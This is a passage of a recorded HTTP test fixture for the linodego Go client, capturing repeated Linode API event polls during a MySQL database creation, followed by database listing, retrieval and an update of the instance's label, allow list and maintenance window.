Wed, 22 Jan 2025 15:39:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:39:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:39:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:39:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:40:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:40:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:40:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:40:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:41:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:41:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:41:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:41:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 907, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "463" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:42:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances?page=1 method: GET response: body: '{"data": [{"allow_list": ["192.0.1.0/24", "203.0.113.1/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "mysql", "hosts": {"primary": "a210765-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210765-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210765, "label": "go-mysql-test-def547m5mw2qwc5", "members": {"172.104.206.251": "failover", "172.104.206.64": "failover", "172.105.57.43": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "active", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 6, "duration": 4, "frequency": "weekly", "hour_of_day": 5, "pending": []}, "used_disk_size_gb": 0, "version": "8.0.30", "platform": "rdbms-default"}, {"allow_list": [], "cluster_size": 1, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "mysql", "hosts": {"primary": "a210826-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210826, "label": "tf_test-2947682077824026612", "members": {}, "port": 18319, "region": "fr-par", "ssl_connection": true, "status": "provisioning", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 2, "duration": 4, "frequency": "weekly", "hour_of_day": 23, "pending": []}, "used_disk_size_gb": null, "version": "8", "platform": "rdbms-default"}, {"allow_list": ["10.0.0.3/32"], "cluster_size": 1, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "mysql", "hosts": {"primary": "a210827-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210827, "label": "tf_test-255170365349247847", "members": {}, "port": 18319, "region": "fr-par", "ssl_connection": true, "status": "provisioning", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 4, "duration": 4, "frequency": "weekly", "hour_of_day": 12, "pending": []}, "used_disk_size_gb": null, "version": "8", "platform": "rdbms-default"}, {"allow_list": [], "cluster_size": 1, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "mysql", "hosts": {"primary": "a210828-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210828, "label": "tf_test-2611724571476327698", "members": {}, "port": 18319, "region": "fr-par", "ssl_connection": true, "status": "provisioning", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 7, "duration": 4, "frequency": "weekly", "hour_of_day": 15, "pending": []}, "used_disk_size_gb": null, "version": "8", "platform": "rdbms-default"}, {"allow_list": ["10.0.0.3/32"], "cluster_size": 1, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "mysql", "hosts": {"primary": "a210829-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210829, "label": "tf_test-6180143901014791701", "members": {}, "port": 18319, "region": "fr-par", "ssl_connection": true, "status": "provisioning", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 4, "duration": 4, "frequency": "weekly", "hour_of_day": 21, "pending": []}, "used_disk_size_gb": null, "version": "8", "platform": "rdbms-default"}], "page": 1, "pages": 1, "results": 5}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:42:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/210765 method: GET response: body: '{"allow_list": ["192.0.1.0/24", "203.0.113.1/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "mysql", "hosts": {"primary": "a210765-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210765-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210765, "label": "go-mysql-test-def547m5mw2qwc5", "members": {"172.104.206.251": "failover", "172.104.206.64": "failover", "172.105.57.43": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "active", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 6, "duration": 4, "frequency": "weekly", "hour_of_day": 5, "pending": []}, "used_disk_size_gb": 0, "version": "8.0.30", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "836" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:42:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-mysql-test-def547m5mw2qwc5-updated","allow_list":["128.173.205.21","123.177.200.20"],"updates":{"day_of_week":3,"duration":4,"frequency":"weekly","hour_of_day":8}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/210765 method: PUT response: body: '{"allow_list": ["123.177.200.20/32", "128.173.205.21/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "mysql", "hosts": {"primary": "a210765-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210765-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210765, "label": "go-mysql-test-def547m5mw2qwc5-updated", "members": {"172.104.206.251": "failover", "172.104.206.64": "failover", "172.105.57.43": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "active", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 8, "pending": []}, "used_disk_size_gb": 0, "version": "8.0.30", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "852" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:42:12 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":210765,"entity.type":"database"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934270545, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 0, "action": "database_update", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: 